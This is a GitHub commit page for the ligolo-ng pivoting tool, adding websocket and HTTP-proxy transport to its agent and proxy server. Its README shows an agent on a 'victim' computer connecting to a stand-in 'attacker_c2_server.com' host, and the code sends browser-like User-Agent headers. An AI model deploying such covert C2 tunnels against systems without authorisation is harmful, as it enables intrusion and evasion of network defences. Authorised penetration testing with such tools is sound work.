Skip to content

Commit c9efdc0

Browse files
committed
Add websocket protocol with http-proxy support
1 parent 09d7d03 commit c9efdc0

File tree

5 files changed

+210
-40
lines changed

5 files changed

+210
-40
lines changed

README.md

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -132,6 +132,11 @@ $ ./proxy -h # Help options
132132
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
133133
$ ./proxy -selfcert # Use self-signed certificates
134134
```
135+
For using websocket protocol start the *proxy* server with `https://` prefix
136+
```shell
137+
$ ./proxy -selfcert https://0.0.0.0:8443 # Use self-signed certificates
138+
```
139+
135140

136141
### TLS Options
137142

@@ -182,7 +187,16 @@ Start the *agent* on your target (victim) computer (no privileges are required!)
182187
$ ./agent -connect attacker_c2_server.com:11601
183188
```
184189

185-
> If you want to tunnel the connection over a SOCKS5 proxy, you can use the `--socks ip:port` option. You can specify SOCKS credentials using the `--socks-user` and `--socks-pass` arguments.
190+
You can use websocket connection to ligolo-ng proxy by adding https:// prefix (by default 443 port will be used):
191+
```shell
192+
$ ./agent -connect https://attacker_c2_server.com
193+
$ ./agent -connect https://attacker_c2_server.com:8443
194+
```
195+
196+
> If you want to tunnel the connection over a SOCKS5/HTTP proxy, you can use the `--proxy schema://username:password@ip:port` option.
197+
> Examples: `--proxy http://127.0.0.1:8080`, `--proxy http://admin:[email protected]:8080`, `--proxy socks5://admin:[email protected]:1080`
198+
>
199+
> HTTP proxy can be used only with websocket protocol.
186200
187201
A session should appear on the *proxy* server.
188202

cmd/agent/main.go

Lines changed: 119 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package main
22

33
import (
44
"bytes"
5+
"context"
56
"crypto/sha256"
67
"crypto/tls"
78
"crypto/x509"
@@ -14,7 +15,11 @@ import (
1415
"github.com/sirupsen/logrus"
1516
goproxy "golang.org/x/net/proxy"
1617
"net"
18+
"net/http"
19+
"net/url"
20+
"nhooyr.io/websocket"
1721
"os"
22+
"strings"
1823
"time"
1924
)
2025

@@ -30,11 +35,12 @@ func main() {
3035
var acceptFingerprint = flag.String("accept-fingerprint", "", "accept certificates matching the following SHA256 fingerprint (hex format)")
3136
var verbose = flag.Bool("v", false, "enable verbose mode")
3237
var retry = flag.Bool("retry", false, "auto-retry on error")
33-
var socksProxy = flag.String("socks", "", "socks5 proxy address (ip:port)")
34-
var socksUser = flag.String("socks-user", "", "socks5 username")
35-
var socksPass = flag.String("socks-pass", "", "socks5 password")
38+
var socksProxy = flag.String("proxy", "", "proxy URL address (http://admin:[email protected]:8080)"+
39+
" or socks://admin:[email protected]:8080")
3640
var serverAddr = flag.String("connect", "", "connect to proxy (domain:port)")
3741
var bindAddr = flag.String("bind", "", "bind to ip:port")
42+
var userAgent = flag.String("ua", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "+
43+
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "HTTP User-Agent")
3844
var versionFlag = flag.Bool("version", false, "show the current version")
3945

4046
flag.Usage = func() {
@@ -91,11 +97,24 @@ func main() {
9197
if *serverAddr == "" {
9298
logrus.Fatal("please, specify the target host user -connect host:port")
9399
}
94-
host, _, err := net.SplitHostPort(*serverAddr)
95-
if err != nil {
96-
logrus.Fatal("invalid connect address, please use host:port")
100+
101+
if strings.Contains(*serverAddr, "https://") {
102+
//websocket https connection
103+
host, _, err := net.SplitHostPort(strings.Replace(*serverAddr, "https://", "", 1))
104+
if err != nil {
105+
logrus.Info("There is no port in address string, assuming that port is 443")
106+
host = strings.Replace(*serverAddr, "https://", "", 1)
107+
}
108+
tlsConfig.ServerName = host
109+
} else {
110+
//direct connection
111+
host, _, err := net.SplitHostPort(*serverAddr)
112+
if err != nil {
113+
logrus.Fatal("Invalid connect address, please use host:port")
114+
}
115+
tlsConfig.ServerName = host
97116
}
98-
tlsConfig.ServerName = host
117+
99118
if *ignoreCertificate {
100119
logrus.Warn("warning, certificate validation disabled")
101120
tlsConfig.InsecureSkipVerify = true
@@ -105,33 +124,53 @@ func main() {
105124

106125
for {
107126
var err error
108-
if *socksProxy != "" {
109-
if _, _, err := net.SplitHostPort(*socksProxy); err != nil {
110-
logrus.Fatal("invalid socks5 address, please use host:port")
111-
}
112-
conn, err = sockDial(*serverAddr, *socksProxy, *socksUser, *socksPass)
127+
if strings.Contains(*serverAddr, "https://") ||
128+
strings.Contains(*serverAddr, "wss://") {
129+
*serverAddr = strings.Replace(*serverAddr, "https://", "wss://", 1)
130+
//websocket
131+
err = wsconnect(&tlsConfig, *serverAddr, *socksProxy, *userAgent)
113132
} else {
114-
conn, err = net.Dial("tcp", *serverAddr)
115-
}
116-
if err == nil {
117-
if *acceptFingerprint != "" {
118-
tlsConfig.InsecureSkipVerify = true
119-
tlsConfig.VerifyPeerCertificate = func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
120-
crtFingerprint := sha256.Sum256(rawCerts[0])
121-
crtMatch, err := hex.DecodeString(*acceptFingerprint)
133+
if *socksProxy != "" {
134+
if strings.Contains(*socksProxy, "http://") {
135+
//TODO: http proxy CONNECT with direct ligolo protocol
136+
} else {
137+
//suppose that scheme is socks:// or socks5://
138+
var proxyUrl *url.URL
139+
proxyUrl, err = url.Parse(*socksProxy)
122140
if err != nil {
123-
return fmt.Errorf("invalid cert fingerprint: %v\n", err)
141+
logrus.Fatal("invalid socks5 address, please use host:port")
124142
}
125-
if bytes.Compare(crtMatch, crtFingerprint[:]) != 0 {
126-
return fmt.Errorf("certificate does not match fingerprint: %X != %X", crtFingerprint, crtMatch)
143+
if _, _, err = net.SplitHostPort(proxyUrl.Host); err != nil {
144+
logrus.Fatal("invalid socks5 address, please use socks://host:port")
127145
}
128-
return nil
146+
pass, _ := proxyUrl.User.Password()
147+
conn, err = sockDial(*serverAddr, proxyUrl.Host, proxyUrl.User.Username(), pass)
129148
}
149+
150+
} else {
151+
conn, err = net.Dial("tcp", *serverAddr)
130152
}
131-
tlsConn := tls.Client(conn, &tlsConfig)
153+
if err == nil {
154+
if *acceptFingerprint != "" {
155+
tlsConfig.InsecureSkipVerify = true
156+
tlsConfig.VerifyPeerCertificate = func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
157+
crtFingerprint := sha256.Sum256(rawCerts[0])
158+
crtMatch, err := hex.DecodeString(*acceptFingerprint)
159+
if err != nil {
160+
return fmt.Errorf("invalid cert fingerprint: %v\n", err)
161+
}
162+
if bytes.Compare(crtMatch, crtFingerprint[:]) != 0 {
163+
return fmt.Errorf("certificate does not match fingerprint: %X != %X", crtFingerprint, crtMatch)
164+
}
165+
return nil
166+
}
167+
}
168+
tlsConn := tls.Client(conn, &tlsConfig)
132169

133-
err = connect(tlsConn)
170+
err = connect(tlsConn)
171+
}
134172
}
173+
135174
logrus.Errorf("Connection error: %v", err)
136175
if *retry {
137176
logrus.Info("Retrying in 5 seconds.")
@@ -169,3 +208,57 @@ func connect(conn net.Conn) error {
169208
go agent.HandleConn(conn)
170209
}
171210
}
211+
212+
func wsconnect(config *tls.Config, wsaddr string, proxystr string, useragent string) error {
213+
214+
//timeout for websocket library connection - 20 seconds
215+
//TODO: add timeout as cmd parameter
216+
ctx, cancel := context.WithTimeout(context.Background(), time.Second*20)
217+
defer cancel()
218+
219+
//in case of websocket proxy can be http with login:pass
220+
//Ex: proxystr = "http://admin:[email protected]:8080"
221+
proxyUrl, err := url.Parse(proxystr)
222+
if err != nil || proxystr == "" {
223+
proxyUrl = nil
224+
}
225+
226+
httpTransport := &http.Transport{}
227+
config.MinVersion = tls.VersionTLS10
228+
229+
httpTransport = &http.Transport{
230+
MaxIdleConns: http.DefaultMaxIdleConnsPerHost,
231+
TLSClientConfig: config,
232+
Proxy: http.ProxyURL(proxyUrl),
233+
}
234+
235+
httpClient := &http.Client{Transport: httpTransport}
236+
httpheader := &http.Header{}
237+
httpheader.Add("User-Agent", useragent)
238+
//Add your additional headers here
239+
//httpheader.Add("X-Blablabla", "Blublublu")
240+
//TODO: set -H cmd param (as ffuf, wfuzz)
241+
242+
wsConn, _, err := websocket.Dial(ctx, wsaddr, &websocket.DialOptions{HTTPClient: httpClient, HTTPHeader: *httpheader})
243+
if err != nil {
244+
return err
245+
}
246+
247+
//timeout for netconn derived from websocket connection - it must be very big
248+
netctx, cancel := context.WithTimeout(context.Background(), time.Hour*999999)
249+
netConn := websocket.NetConn(netctx, wsConn, websocket.MessageBinary)
250+
defer cancel()
251+
yamuxConn, err := yamux.Server(netConn, yamux.DefaultConfig())
252+
if err != nil {
253+
return err
254+
}
255+
256+
logrus.Info("Websocket connection established")
257+
for {
258+
conn, err := yamuxConn.Accept()
259+
if err != nil {
260+
return err
261+
}
262+
go agent.HandleConn(conn)
263+
}
264+
}

go.mod

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ require (
1919
github.com/nicocha30/gvisor-ligolo v0.0.0-20230726075806-989fa2c0a413
2020
github.com/vishvananda/netlink v1.1.1-0.20211118161826-650dca95af54
2121
golang.org/x/sys v0.21.0
22+
nhooyr.io/websocket v1.8.11
2223
)
2324

2425
require (

go.sum

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -145,3 +145,5 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8
145145
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
146146
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
147147
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
148+
nhooyr.io/websocket v1.8.11 h1:f/qXNc2/3DpoSZkHt1DQu6rj4zGC8JmkkLkWss0MgN0=
149+
nhooyr.io/websocket v1.8.11/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=

pkg/controller/controller.go

Lines changed: 73 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package controller
22

33
import (
4+
"context"
45
"crypto/sha256"
56
"crypto/tls"
67
"errors"
@@ -9,6 +10,9 @@ import (
910
"golang.org/x/crypto/acme/autocert"
1011
"net"
1112
"net/http"
13+
"nhooyr.io/websocket"
14+
"strings"
15+
"time"
1216
)
1317

1418
type Controller struct {
@@ -30,10 +34,29 @@ type ControllerConfig struct {
3034
DomainWhitelist []string
3135
}
3236

37+
var wsconn net.Conn
38+
3339
func New(config ControllerConfig) Controller {
3440
return Controller{Network: "tcp", Connection: make(chan net.Conn, 1024), ControllerConfig: config, startchan: make(chan error), SelfCertCache: "ligolo-selfcerts"}
3541
}
3642

43+
type myHttpServer struct {
44+
// logf controls where logs are sent.
45+
logf func(f string, v ...interface{})
46+
}
47+
48+
func (s myHttpServer) ServeHTTP(w http.ResponseWriter, r *http.Request) {
49+
50+
c, err := websocket.Accept(w, r, nil)
51+
if err != nil {
52+
logrus.Error(err)
53+
return
54+
}
55+
netctx, _ := context.WithTimeout(context.Background(), time.Hour*999999)
56+
wsconn = websocket.NetConn(netctx, c, websocket.MessageBinary)
57+
return
58+
}
59+
3760
func (c *Controller) WaitForReady() error {
3861
return <-c.startchan
3962
}
@@ -91,20 +114,57 @@ func (c *Controller) ListenAndServe() {
91114
return
92115
}
93116

94-
listener, err := tls.Listen(c.Network, c.Address, &tlsConfig)
95-
if err != nil {
96-
c.startchan <- err
97-
return
98-
}
99-
defer listener.Close()
100-
c.startchan <- nil // Controller is listening.
101-
logrus.Infof("Listening on %s", c.Address)
102-
for {
103-
conn, err := listener.Accept()
117+
if strings.Contains(c.Address, "https://") {
118+
//SSL websocket protocol
119+
listener, err := tls.Listen(c.Network, strings.Replace(c.Address, "https://", "", 1), &tlsConfig)
104120
if err != nil {
105-
logrus.Error(err)
106-
continue
121+
logrus.Fatal(err)
122+
}
123+
defer listener.Close()
124+
close(c.startchan) // Controller is listening.
125+
logrus.Infof("Listening websocket on %s", c.Address)
126+
127+
s := &http.Server{
128+
Handler: myHttpServer{},
129+
}
130+
for {
131+
//start http handler in go routine
132+
go func() {
133+
err = s.Serve(listener)
134+
}()
135+
if err != nil {
136+
logrus.Error(err)
137+
}
138+
//manual waiting until handler got connection and global variable wsconn is set by http handler
139+
//this not so gracefully but effective ))
140+
for {
141+
if wsconn != nil {
142+
logrus.Infof("Got websocket connection %s", wsconn.RemoteAddr())
143+
c.Connection <- wsconn
144+
wsconn = nil
145+
break
146+
}
147+
//add some sleep to reduce CPU usage, because it is in loop
148+
time.Sleep(time.Millisecond * 500)
149+
}
150+
}
151+
} else {
152+
//direct listen with legacy ligolo-ng protocol
153+
listener, err := tls.Listen(c.Network, c.Address, &tlsConfig)
154+
if err != nil {
155+
c.startchan <- err
156+
return
157+
}
158+
defer listener.Close()
159+
c.startchan <- nil // Controller is listening.
160+
logrus.Infof("Listening on %s", c.Address)
161+
for {
162+
conn, err := listener.Accept()
163+
if err != nil {
164+
logrus.Error(err)
165+
continue
166+
}
167+
c.Connection <- conn
107168
}
108-
c.Connection <- conn
109169
}
110170
}

0 commit comments

Comments
 (0)